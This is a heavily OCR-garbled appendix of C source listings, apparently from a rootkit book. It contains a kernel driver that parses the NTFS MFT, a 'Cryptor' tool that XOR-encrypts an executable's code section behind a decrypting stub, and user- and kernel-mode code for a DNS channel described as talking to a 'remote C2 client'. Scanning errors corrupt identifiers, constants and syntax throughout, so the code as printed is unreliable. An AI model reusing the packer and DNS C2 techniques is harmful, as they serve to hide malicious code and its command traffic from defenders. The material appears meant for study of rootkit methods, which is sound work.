DbgMsg( "printBootSector", "- - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - - ---"); DBG]RINT2( "bytes per sector = %d", bsector bytesPerSector); DBG]RINT2( "sectors per cluster = %d", bsector sectoresPerCluster); O DBG]RINT2C total disk sectors = %I64X", bsector totalDiskSectors); o DBG_PRINT2c MFT LCN = %I64X", bsector omftLCN); DBG]RINT2("MFT Mirr LCN = %I64X",bsectoroMftMirrLCN) ; DBG_PRINT2( "clusters/File record = %d" ,bsector clustersPerMFTFileRecord); DBG]RINT2( "clusters/INDX record = %d" ,bsectoro clustersPerMFTIndexRecord); o DBG]RINT2C volume SN = %I64X", bsector volumeSN); DbgMsgCOprintBootSector", "-- - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - --"); return; }/*end printBootSector() - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - " /
0 0 0 0 0
/" According to NTFS spec from M5 If nClusters == negative Bytes used by record 2A abs(nClusters) Integer rounding plays a role here
"/
BYTE correctClusterCount
(
BYTE clustersPerRecord, hORD bytesPerSector, BYTE sectorsPerCluster signed char nClusters; IJ'nORD nSectors; nClusters = (signed char)clustersPerRecord; if(nClusters < 0)
{
1,
0
/ / nBytes = 2A abs(nClusters) nClusters = (signed char)abs(nClusters); for(i=0;i<nClusters;i++){ nBytes = nBytes " 2; } nSectors = (nBytes/bytesPerSector); nClusters = (signed char)( nSectors/ sectors PerC luster ) ; return ( (BYTE) nClusters) ;
}
1*
Clusters per record can be 0 (Leo, 1024-byte MFT record
0/
o clusters)
);
868
Appendix
Project: MFT
(*bsector) . sectoresPerCluster
);
Ilpreliminary muddle RtlIni tUnicodeString( &fileName, L" \ \DosDevices \ \C : " ) ; Ini tializeObjectAttributes ( &objAttr, I lOUT POBJECT_ATIRIBUTES &fileName, IIIN PUNICOOE_STRING OBJ_CASE_INSENSITIVE OBJ_KERNEL_HAM:lLE, I lIN ULONG Attributes NULL, I lIN HANDLE RootDirectory NULL I lIN PSECURITY_DESCRIPTOR
);
i f(KeGetCurrentIrql() ! =PASSIVE_LEVEL) { DbgMsg("getBootSector", "Must be at passive IRQL for ZwXXX file operations"); return(NULL) ; } DbgMsg( "getBootSector", "Initialized attributes");
I IOpen file shareAccess = FILE_SHARE_READ: FILE_SHARE_WRITE: FILE_SHARE_DELETE; ntstatus = ZwOpenFile ( &handle, I lOUT PHAM:lLE STANDARD_RIGHTS_READ , I lIN ACCESS_MASK DesiredAccess &objAttr, IIIN POBJECT_ATIRIBUTES &ioStatusBlock, llOUT PIO_STATUS_BLOCK shareAccess, I lIN ULONG ShareAccess FILE_SYNCHRONOUS_IO_NONALERT I lIN ULONG CreateOptions ); i f(ntstatus ! =STATUS_SUCCESS) { DbgMsg( "getBootSector", "Could not open file"); return(NULL) ; } DbgMsg("getBootSector", "opened file");
I I read boot sector ntstatus = ZwReadFile ( handle, IIIN HANDLE FileHandle NULL, IIIN HANDLE Event (Null for drivers) NULL, I lIN PIO_APC_ROUTINE ApcRoutine (Null for drivers) I lIN PVOID ApcContext (Null for drivers) NULL, &ioStatusBlock, llOUT PIO_STATUS_BLOCK IoStatusBlock (PVOID) bsector, llOUT PYOID Buffer sizeof(BOOTSECTOR) , I lIN ULONG Length NULL, IIIN PLARGE_INTEGER ByteOffset OPTIONAL NULL I lIN PULONG Key (Null for drivers) ); if(ntstatus! =STATUS_SUCCESS) {
Appendix 1869
Appendix / Chapter 10
//------------------------------------------------------------- ---------------VDID OnUnload(IN PDRIVER_OBJECT DriverObject) { DbgMsg( "OnUnload ", "Received signal to unload the driver"); DbgMsg( "OnUnload", "Driver clean-up completed- - - - - - - - - - - - - - - - - -- - - - - - - -"); return; }/*end OnUnload() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -* / NTSTATUS DriverEntry
(
int i; NTSTATUS ntStatus; HANDLE handle; BODTSECTOR bsector; DbgMsg("Driver Entry" , "Driver is loading --- --- -------------- ---------- " ); for(i=0; i<IRP_MJ_MAXIt-'l.!MJUNCTIDN; i++)
{
( *pDriverObject) . DriverUnload = OnUnload; / / read boot sector to get LCN of MFT handle = getBootSector(&bsector); if(handle == NULL){ return(STATUS_SUCCESS); correctBootSectorFields (&bsector); printBootSector( bsector) ; //Parse through file entries in MFT processMFT(bsector, handle); / / close up s hop ZwClose(handle) ; DbgMsg( "Driver Entry", "Closed handle to MFT") ; DbgMsg( "Driver Entry", "DriverEntry() completed without errors"); return(STATUS_SUCCESS) ; }/ *end DriverEntry( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* /
870 I Appendix
Project: (ryplor
Proied: Cryptor
Files: AppLdr.c, cryptor.c
/*+++++++++++++++++++++111111111111+1111111111111111111111111111111IIIIII111111
+
+ appldr . c
+ + +
Iithis will ensure t hat both globals and code are encrypted
#pragma #pragma #pragma #pragma #pragma section ( " . code " ,execute, read , write) comment (linker , " IMERGE: . text=. code") comment (linker , " IMERGE : . data=. code" ) comment (linker, " ISECTION : . code, ERW" ) code_seg(" .code" )
I Ican use hex editor to verify that this global is the .code section uns i gned char var[] = {0xCA, 0xFE, 0xBA, 0xBE, 0xDE, 0xAD, 0xBE, 0xEF};
void main() { pri ntf("Now in main\n");
SECTION - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - -- - - - - - - - - - - - - - - - -section ( " . stub" ,execute , read) comment (linker, " I entry : \ "StubEntry\"" ) code_seg( " . stub " )
can determine these values via dumpbin . exe then set at compile time can also have cryptor parse PE and set these during encryption
*1
#define CODE_BASE_AOORESS #define CODE_SIZE #define KEY 0x00401eee 0xeeeee200 0x0F
. void decryptCodeSecti on() { Ilwe ' l1 use Mickey Mouse XOR encoding to keep things brief unsigned char *ptr; long int i; long int nbytes ; ptr = (unsigned char*)CODE_BASE_AOORESS ; nbytes = CODE_SIZE; for(i=0; i <nbytes; i++) { ptr[i] = ptr[i] KEY;
Appendix 1871
Appendix / Chapter 10
return;
}/" end dec ryptSection ( ) - - - - - - - - - - -- - - - - - - -- - - - - -- - - - - -- - - - - -- - - - - ---- - - ---- - -" / void StubEntryO { decryptCodeSection() ; printf("Started In StubO\n"); mainO; return; }/"end StubEntry() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - --- -" /
/*'1 I I I I I I III I I II I I I I I I I I I I I I I I I I I I I I I I I I III I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I I II
+ + cryptor.c
+ +
+
/ /system #include #include #include
+
includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - -- - - - - - - --"windows. h" "winnt.h" "stdio.h "
++++++++111111111111111111111111111111111111111111111111111111111111111111111./
/ / globals - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -typedef struct _ADDRESS_INFO { !JIo.\?RD moduleBase; / /base address of executable in memory !JIo.\?RD moduleCodeOffset; / /offset of . code section in memory !JIo.\?RD fileCodeOffset; / /offset of . code section in . exe file !JIo.\?RD fileCodeSize ; / /# of bytes used by . code section in file }ADDRESS_INFO, " PADDRESS_ INFO; / /Core routine- - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - --- - - - - - - - - - --
/"
This routine performs file mapping (returns true if it has succeeded and false otherwise) See SDK: Win32 and COM Development : System Services : Memory Management : About Memory Management : File Mapping
"/
BOOL getfMlDLlLE ( char "fileName, HANDLE" hFile, HANDLE" hFileMapping, LPVOID " baseAddress
printf(" [GetfMlDLlLE] : Opening %s\n", fileName); ("hFile) = CreateFileA ( fileName, / /LPCTSTR lpFileName GENERIC_READ, / /!JIo.\?RD dwDesiredAccess FILE_SHARE_READ , //!JIo.\?RD dwShareMode NULL, / /LPSECURITY_ATIRIBUTES lpSecurityAttributes OPEN_EXISTING, / /!JIo.\?RD dwCreationDisposi tion FILE_ATIRIBUTE_NDRMAL, / /Io.ORD dwFlagsAndAttributes NULL / /HANOLE hTemplateFile (NULL, ignore) ); if (hFile==INVALID_HANDLE_VALUE) { printf(" [GetfMlDLlLE] : CreateFileO failed\n"); return(FALSE);
872 I Appen di X
Project: Cryptor
( *hFileMapping) = CreateFileMapping ( *hFile, / / HANDLE hFile NULL, / / LPSECURITY_ATIRIBUTES IpAttributes PAGE_READONLY, / /DWJRD flProtect a, / /DWJRD dwMaximumSizeHigh a, / / DWJRD dwMaximumSizeLow (a, current size of the file) NULL / / LPCTSTR IpName (NULL, mapped object unnamed) ); if *hFileMapping)==NULL) { CloseHandle(hFile) ; printf(" (GetHI'QDULE] : CreateFileMapping() failed\n"); return(FALSE);
printf("[GetfKlDULE): Mapping a view of the file\n"); ( *bas eAddress) = MapVie....ofFile ( *hFileMapping, / / HANDLE hFileMappingObject FILE_MAP_READ, / / DWJRD dwDesiredAccess a, / / DWJRD dwFileOffsetHigh a, / /DWJRD dwFileOffsetLow a //SIZE_T dwNumberOfBytesToMap ); i f( ( *baseAddress )== NULL) { CloseHandle ( *hFileMapping) ; CloseHandle( *hFile) ; printf(" (GetHI'QDULE] : Couldn't map view of file\n"); return( FALSE); } return(TRUE) ; }/*end getHI'QDULE () - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / void Travers eSectionHeaders ( PlMAGE_SECTIDN_HEADER section , DWJRD nSections, PADDRESS_ INFO addrlnfo
DWJRD i; printf(" [DumpSections) : - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \n\n"); for(i =a; i <nSections; i++) { printf( " \ tname : % \ n", ( *section) ,Name); s printf(" \ tfile offset: %X\n", ( . section) , PointerToRawData) ; printf(" \ tfile size : %X\ n\ n", ( *section) ,SizeOfRawData); if(strcmp( ( *section) , Name," , code" )==a) { ( *addrlnfo) , fileCodeOffset =(*section), PointerToRawData; ( *add r lnfo) ,fileCodeSize = ( *section) ,SizeOfRawData; s ection = section + 1;
Appendix
I 873
Appendix / Chapter 10
dosHeader = (PIMAGE_ooS_HEADER)baseAddress; if( dosHeader) .e_magic)! =IMAGE_OOS_SIGNATURE) { printf("[GetCodeLoc) : OOS signature not a match\n"); return ; } printf(" [GetCodeLoc) : OOS signature=%X\n", ( dosHeader) . e_magic); peHeader = (PIMAGE_NT_HEADERS)o..oRD)baseAddress + (dosHeader).e_lfanew); if( peHeader) . Signature) !=IMAGE_NT_SIGNATURE) { printf("[GetCodeLoc) : PE signature not a match\n" ) ; return; } printf( "[ GetCodeLoc) : PE signature=%X\n", (peHeader) . Signature) ; optionalHeader = ( peHeader) . DptionaIHeader; ifoptionaIHeader . Magic)! =0x10B) { printf( " [GetCodeLoc) : DptionalHeader magic number does not match\n"); return; } printf( "[ GetCodeLoc) : OptionalHeader Magic #=%X\n" , optionalHeader. Magic) ; = optionalHeader . ImageBase; ( addrInfo) . moduleBase ( addrInfo). moduleCodeOffset = optionalHeader. BaseOfCode; pri ntf(" [GetCodeLoc ) : # sections=%d\n", (peHeader) . FileHeader. NumberOfSections); eaders Tr averseSectionH
(
8741 Appendix
Project: Cryptor
if(fptr==NULL) { printf(" [cipherBytes] : Could not open %s\n",fname); return ; } if(fseek(fptr , fileOffset,SEEK_SET) !=8) { printf( " [cipherBytes] : Unable to set file pointer to %ld\n ",fileOffset) ; fclose(fptr); return ; } nItems = fread(buffer,sizeof(BYTE),nbytes,fptr); if(nItems < nbytes) { printf(" [cipherBytes] : Trouble reading, nItems = %d\n",nItems); fclose(fptr) ; return; } for(i =8; i <nbytes ; i++ ) { buffer[i] = buffer[i] A 8x8F; } if(fseek(fptr , fileOffset,SEEK_SET)! =8) { printf( " [cipherBytes] : Unable to set file pointer to % ld\n", fileOffset) ; fclose( fptr) ; return; } nItems = fwrite(buffer, s izeof(BYTE),nbytes,fptr) ; if(nItems < nbytes) { pri ntf(" [cipherBytes] : Trouble writing, nItems = %d\n ",nItems) ; fclose( fptr ); return; } printf( " [cipherBytes] : successfully ciphered %d bytes\n ",nbytes) ; fclose(fptr) ; return; }/"end cipherBytes() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - --- - " / void main(int argc, char ' argv[]) { char "fileName ; HANDLE hFile; HANDLE hFileMapping; LPVOID fileBaseAddress ; ADDRESS_INFO addrInfo; BOOL retVal ; if(argc <2) { pr intf( " [main] : not enough arguments " ) ; return; } fileName = argv[l]; retVal = getfKJDULE(fileName , &hFile , &hFileMapping, &fileBaseAddress); if (retVal==FALSE){ return ; } (lW)RD)NULL ; addrInfo . moduleBase addr Info . moduleCodeOffset = (lW)RD)NULL; (lW)RD)NULL ; addrInfo . fileCodeOffset (lW)RD)NULL; addrInfo . fileCod eSize GetCodeLoc( fileBaseAddress , &addrInfo);
APpen di X
I 875
Appendix / Chapter 11
RAM image base RAM code offset file offset of code file size of code
=0x%e8X\n" , addrlnfo .moduleBase); =0x%e8X\n " , addrlnfo. moduleCodeOffset) ; =0x%e8X\n" , addrlnfo. fileCodeOffset) ; =0x%e8X\n", addrlnfo.fileCodeSize);
closeHandles( hFile, hFileMapping , fileBaseAddress); cipherBytes(fileName,&addrlnfo) ; I ITo -Do: patchStub( ), set RAM parameters in stub for deciphe r i ng return; }/*end main() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -* I
Chapter 11
Proied: UserModeDNS
Files: cchannel.c
I*- ------------------------------------------------------------------------- -- +
I I
:
I I
cchannel. c
I
II System-Wide includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - - -#include <winsock2 . h> #include <ws2tcpip. h> #include <stdio. h>
I I Rootki t Convnon includes - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "types.h" I I KMD-Specific includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "dbgmsg. c"
11----------- ----- ------- ----------------------------- ---------- -- ------------I IGlobals - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -11------------------------------------------------- --- -- ----- --- - -------------#define SZ_QUERY_HEADER #define SZ_QUERY_SUFFIX #define SZ_MAX_LABEL #define SZ_MAX_QNAME #define SZ_MAX_BUFFER #define SZ_WORD #define SZ_DWORD 12 4 63 2SS S12 2 4
IINote: values are big-end ian (network order) #pragma pack( l ) typedef struct DNS_HEADER_ { BYTE id[SZ_WORD]; Il matches query & responses BYTE flags [SZ_ WORD]; Il for query, normally 0000 eeel 0000 0000 = 0x100 BYTE nQuestions[SZ_WORD]; Ii normally 0xeeel BYTE nAnswerRRs[SZ_WORD]; Ii normally 0xOOOO BYTE nAuthori tyRRs [SZ_WORD]; Ii normally 0xOOOO
876 1 Appendix
Project: UserModeDNS
DNS_HEADER dnsHeader =
{
{exes,exe2}, {exe1,exes} , {exes,exe1}, {exes, exes}, {exes,exes} , {exes,exes}
};
typedef struct _DNS_QUESTIDN_SUFFIX { BYTE queryType(SZ_IoKlRD] ; / /exeeel (A Record , IP Address , Query) BYTE queryClass(SZ_IoKlRD] ; / / exeeel (Internet Class) }DNS_QUESTIDN_SUFFIX, ' PDNS_QUESTIDN_SUFFIX; DNS_QUESTIDN_SUFFIX questionSuffix =
{
{exes , exe1}, {exes,exe1}
};
#pragma packO #define DNS_PORT " 53" WSADATA wsaData ;
/ / -- - - - - - - - - - - - --- - - - -- - - - - - -- - - - - - -- - - -- - - - - -- - - - - - -- - - - - --- - - - - - - - - - - - - - - - - -BOOLEAN initWinsock(WSADATA ' wsaData) { D\oKlRD error; error = WSAStartup(MAKEIoKlRD(2, 2) , wsaData); i f( error)
{
switch( error)
{
case(WSASYSNOTREADY) :
{
DbgMsg( "initWinsock" , "Network subsystem is not ready"); } break; case ( WSAVERNOTSUPPORTED) :
{
DbgMsg( "initWinsock", "version is not supported"); }break; case(WSAEINPROGRESS) :
{
DbgMsg("initWinsock", "A blocking Sockets 1.1 operation is in progress"); } break ; case(WSAEPRDCLIM) :
{
DbgMsg("initWinsock", "limit on the number of tasks reached"); }break; ca se(WSAEFAULT) :
{
DbgMsg( "ini tWinsock ", " wsaData pointer isn ' t valid " ) ; }break ;
};
return(FALSE);
Appendix I 877
Appendix I Chapter 11
DbgMsg("initWinsock", "Initiated use of the Winsock OLL by this process"); return(TRUE) ; }/*end initWinsock() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - - - - - - - -- - -* / struct addrinfo *getAddressList(char *ipAddress, struct addrinfo hints)
{
struct addrinfo *result; !lI\ORD code; code = getaddrinfo( ipAddress, DNS_PORT, &hints, &result) ; if(code)
{
DBG]RINT2( "getAddressListO : ipAddress = % s\n", ipAddress); return ( result) ; }/*end getAddressList() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - --- - - - --- - - - -- - - - - - --* / BOOLEAN createSocket(SOCKET* dnsSocket, struct addrinfo' result)
{
*dnsSocket = socket
(
if (*dnsSocket==INVALID_SOCKET)
{
DbgMsg( "createSocket ", "Socket creation failed") ; freeaddrinfo( result) ; WSACleanup() ; return(FALSE) ;
}
ObgMsg( "cr eateSocket", "Socket creation was a success"); return(TRUE) ; }/*end createSocket () - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- -* / BOOLEAN connectToServer(SOCKET* dnsSocket, struct addrinfo* result)
{
i f( code==SOCK _ERROR) ET
{
ObgMsg( "connectToServer", "Unable to connect to server"); WSACleanup 0 ; return(FALSE); DbgMsg( "connectToServer", "connected to server"); return (TRUE ); }/*end connectToServer ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - -- - - - - - --- - - - - -- -* /
878
Appen di x
Project: UserModeDNS
void bldQuery ( IN BYTE * nameBuffer, IN DWORD name Length, IN BYTE *queryBuffer, OUT DWORD* query Length
DWORD i; DWORD start; DWORD end; BYTE *target; / / copy DNS query header into byte stream target = (BYTE*)&dnsHeader; for( i =e; i <SZ_QUERY_HEADER; i++)
{
queryBuffer[ i]=target [i];
}
*queryLength = SZ_QUERY_HEADER; //copy over question name into byte stream if(nameLength > SZ_MAX_QNAME){ name Length = SZ_MAX_QNAME; start=SZ_QUERY_HEADER ; end=SZ_QUERY_HEADER+nameLength; for(i=start; i <end; i++)
{
queryBuffer[i] = nameBuffer[i-startj;
}
*queryLength = * queryLength + nameLength; //copy question suffix into byte stream target = (BYTE * )&questionSuffix; start=end; end=end+SZ_QUERY_SUF FIX; for(i =start; i <end; i++)
{
queryBuffer[i]=target [i-start];
}
* queryLength = *queryLength + SZ_QUERY_SUFFIX;
return;
}/*end bldQuery() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -* / BOOLEAN sendQuery (SOCKET dnsSocket, BYTE * nameBuffer, DWORD nameLength)
{
DWORD count; BYTE buffer[SZ_MAX_BUFFER]; bldQuery( name Buffer ,nameLength, buffer, &count) ; count = send( dnsSocket, buffer, count, e); if(count==SOCKET_ERROR)
{
DBG_PRINT2("sendQuery() : failed [%d] \n", WSAGetLastError(); closesocket( dnsSocket); WSACleanup () ; return(FALSE);
}
DBG_PRINT2("sendQuery() : bytes sent %d\n",count); return(TRUE); }/*end sendQuery() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - * / WORD getLittleEndianWORD(BYTE *bytes)
{
WORD * ptr; BYTE temp ;
Appendix 1879
Appendix / Chapter 11
temp = bytes[l]; bytes [1] =bytes [e] ; bytes [e] =temp; ptr = (\\oRO*) bytes; return( *ptr); }/*end getLi ttleEndian\\oRO() - - - - - - - - - - -- - - - - -- - - - -- - - - - -- - - - - - -- - - - - - -- - - - - - -* / D\ooORO getLi ttleEndianD\ooORO(BYTE *bytes) { D\ooORO *ptr; BYTE temp; temp = bytes[3]; bytes [3] =bytes [e] ; bytes [e] =temp; temp = bytes[2]; bytes [2] =bytes [1] ; bytes[l]=temp; ptr = (D\ooORO*)bytes; return( *ptr) ; }/*end getLittleEndianD\ooORO() - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - -* / D\ooORO printName(BYTE *buffer, D\ooORO index) { D\ooORO nbytes = e; char name [SZ_MAlU;lNAME] ; //handle name pointer (if compressed) i f(buffer[index] ==exCe) { printName(buffer, (D\ooORO)buffer[ index+1]); return(index=index+SZ_\\oRO) ;
//otherwise just cycle through bytes while (buffer [index] ! =exOO) { i f( buffer [index] <=SZ_MAX_LABEL) { name[nbytes]=buffer[index]+'e' ; } else { name [nbytes] =buffer [index]; } nbytes++; index++; } name [nbytes ]=buffer[ index]; index++; OBG]RINT2( "printNameO: %s\n", name); return( index) ; }/*end printName() - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - - - - - -- - - - - - - - - - -* / void procDNSResponse(BYTE *buffer, D\ooORO length) { / /question attributes \\ORO id ; \\ORO flags; \\ORO nQuestions; \\ORO nAnswerRR ;
880
Appendix
Project: UserModeDNS
hORD nAuthorityRR; hORD nAddi tionalRR; hORD queryType; hORD queryClass; //answer attributes hORD rrType; DhORD ttl; hORD rrLength; DhORD address; DhORD i;
i=8j
id = getLittleEndianhORD(&buffer[i]); flags = getLittleEndianhORD(&buffer[i=i+SZ_hORD)); nQuestions = getLittleEndianhORD(&buffer[i=i+SZ_hORD); nAnswerRR = getLittleEndianhORD(&buffer[i=i+SZ_hORD); nAuthorityRR = getLittleEndianhORD(&buffer[i=i+SZ_hORD); nAddi tionalRR = getLittleEndianhORD(&buffer[ i=i+SZ_hORD)); DbgMsg( "procDNSResponse", "Question-- - - - - - -- - - - - - - - - - - - - - - -"); DBG]RINT2( "procDNSResponse(): id=%X\n", id); DBG_PRINT2 (" procDNSResponse(): flags=%X\n", flags) ; DBG]RINT2( "procDNSResponse(): nQuestions=%X\n", nQuestions); DBG]RINT2("proCDNSResponse() : nAnswers=%X\n" ,nAnswerRR) ; DBG]RINT2( "procDNSResponse() : nAuthori tyRR=%X\n", nAuthori tyRR); DBG_PRINT2 ("procDNSResponse ( ) : nAdditionalRR=%X\n" ,nAddi tionalRR) ; i = printName(buffer, i=i+SZ_hORD); queryType = getLi ttleEndianhORD( &buffer [i)) ; queryClass = getLittleEndianhORD(&buffer[i=i+SZ_hORD); DBG]RINT2( "procDNSResponse(): queryType=%X\n" ,queryType); DBG]RINT2( "procDNSResponse(): queryClass=%X\n", queryClass); DbgMsg( "procDNSResponse", "Answer-- - - - - - - - - - - - - - - - - - - - - - -"); i = printName(buffer,i=i+SZ_hORD); rrType = getLittleEndianhORD(&buffer[i]); queryClass = getLittleEndianhORD(&buffer[i=i+SZ_hORD); ttl = getLittleEndianDhORD(&buffer[i=i+SZ_hORD)); rrLength = getLittleEndianhORD(&buffer[i=i+SZ_DhORD); address = getLi ttleEndianDhORD( &buffer [i=i +SZ_hORD) ) ; DBG]RINT2("procDNSResponse() : DBG]RINT2( "procDNSResponse() : DBG]RINT2( "procDNSResponse() : DBG_PRINT2( "procDNSResponse(): DBG]RINT2( "procDNSResponse(): rrType=%X\n", rrType ); queryClass=%X\n", queryClass); ttl=%u\n", ttl); rrLength=%X\n", rrLength); address=%X\n", address);
returnj
}/*end procDNSResponse() - - - - - - - - - - - - - - -- - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - -- - - - -* / BOOLEAN receiveResponse(SOCKET dnsSocket) { DhORD count ; BYTE buffer[SZ_MAX_BUFFER); count = recv(dnsSocket,buffer,sizeof(buffer), 0); if(count > 0) { DBG_PRINT2( "receiveResponse() : Bytes received: %d\n", count); if(count > SZ_MAX_BUFFER){ count = SZ_MAX_BUFFER; } procDNSResponse( buffer, count);
Appendix 1881
Appendix / Chapter 11
else if(count== a)
{
BOOLEAN ok; WSADATA wsaData; char dnsServer[] = "13a. 212 . la.163 "; struct addrinfo hints; struct addrinfo ' result ; SOCKET dnsSocket = INVALID_SOCKET; BYTE questionName[] = //........, .cwru . edu
{
axa3, ax77, ax77, ax77 , axe4, ax63 , ax77, ax72, ax75, axa3, ax65, ax64, ax75, axile
};
/ /step #1) initialize Winsock2 ok = initWinsock(&wsaData) ; if( !ok){ return; } / /step #2) create a socket ZeroMemory(&hints, s izeof(hints; hints.ai_family = AF_INET; hint s.ai_socktype = 5OCK_DGRAM; hint s . ai-protocol = IPPRDTD_UDP; resul t = getAddressList( dns5erver, hints); if(result==NULL){ return ; } //sometimes a name will resolve to many addresses (Le., results points to array) / /thi s is not the case, because we start with an IP address ok = createSocket(&dns50cket, result); if( !ok){ return; } // step #3) connect to a server ok = connectToServer(&dns50cket, result) ; if( !ok){ return; } / /step #4) send and receive data ok = sendQuery( dnsSocket, questionName, sizeof( questionName; if( !ok){ return ; } ok = receiveResponse(dnsSocket); if(! ok){ return; } / /step #5) disconnect DbgMsg( "main", "cleaning up "); closesocket (dnsSocket) ; WSACleanup 0 ; return; }/ 'end main ( ) - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -, /
BB2
Appen di X
Project: WSK-DNS
Proied: WSKDIS
Files: cchannel.c
/* - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - --+
I I
cchannel . c
I
I I I
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - -* / / /System-Wide includes- - - - - - -- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "ntddk. h" #include "wsk.h" / / Rootki t Conrnon includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "types.h" / /KI"D-Specific includes- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -#include "dbgmsg.c"
/ / - - - - - -- - - - -- - - - - -- - - - - - - - - - -- - - - - - - - - - - - --- - - - - --- - - - - -- - - - - - - - - - - - - - - - - - - - -/ / Globals- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - -- - - - - - - - -/ / - - - - - -- - - - - - - - -- - - - - -- - - - - - - - - - - - -- - - - - -- - - - - - -- - - - - - - - - - - - - - - - - - -- - - - - - - - - -/ / Represents collection of parameters used by application typedef struct _WSK_APP_SOCKET_CONTEXT { //used for registration of WSK Client---------------------------WSK_CLIENT_DISPATCH WskAppDispatch; WSK_CLIENT_NPI wskClientNpi; WSK_REGISTRATION WskRegistration; / /client doesn ' t modify this / / output parameter from WskCaptureProviderNPI() - - - - - - - - - - - - - - - - -DWDRD WSK_WAIT_TIMEOUT; WSK]RDVIDER_NPI wskProviderNpi ; / / populated during the creation of the Datagram socket --------- -PWSK_SOCKET socket; / /set during IRP completion / /local transport address- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -SOCKADDR_IN localAddress; // remote "ONS Server" (aka remote C2 client)- -------- -- ---------SOCKADDR_IN remoteAddress;
WSK_APP_SOCKETJONTEXT socketContext; . //These variables represent storage for data sent/recv #define SZ_ONS_QUERY #define SZ_ONS_BUFFER 30 512 //size of following question array
BYTE dnsQuery[ 1 = { Bxee,0xB2, / / transaction ID Bx01 , 0xee, //flags (normal query) Bxee , 0xB1, //# questions Bxee,0xee, //# answer RRs
Appen di X
I 883
Appendix I Chapter 11
exee,exee, exee,exee,
I I - - - - - - - - - - - - - - - - - - -I I (3)www[ 4)cwru[3)edu[e)
exe3, ex77, ex77, ex77, exe4, ex63, ex77, ex72, ex75, exe3, ex65, ex64, ex75, exee,
};
PI'OL dnst1:lL; BYTE dnsBuffer[5Z_DN5_BUFFER); WSK_BUF DatagramSendBuffer ; WSK_BUF DatagramRecvBuffer;
*pIRP). IoStatus) . Status = STATUS_SUCCESS; *pIRP) . IoStatus) . Information = e; IoCompleteRequest(pIRP, IOJI()_INCREMENT); return(STATUS_SUCCESS) ; }/*end defaultDispatch() - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - -- - -* I
I 1- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - -- - - - ---- - - - - -- - - - - -- - - - ---
III RP Completion Routines- - - - - - - - - - - - - - - - - - - - - - - - - - - -- - - - - - - - - - - - - - - - - - - - - - - --I 1--------------------------------------------------------- ------ ------- ------ NTSTATUS CreateSocketIRPComplete ( PDEVICE_OBJECT DeviceObject, PIRP Irp, PVOID Context
else { DbgMsg("CreateSocketIRPComplete", "IRP indicates socket creation success"); socketContext = (PWSK_APP_SOCKET_CDNTEXT)Context; (*socketContext). socket = (PWSK_SOCKET) *Irp) . IoStatus). Information;
884
Appendix
Project: WSK-DNS
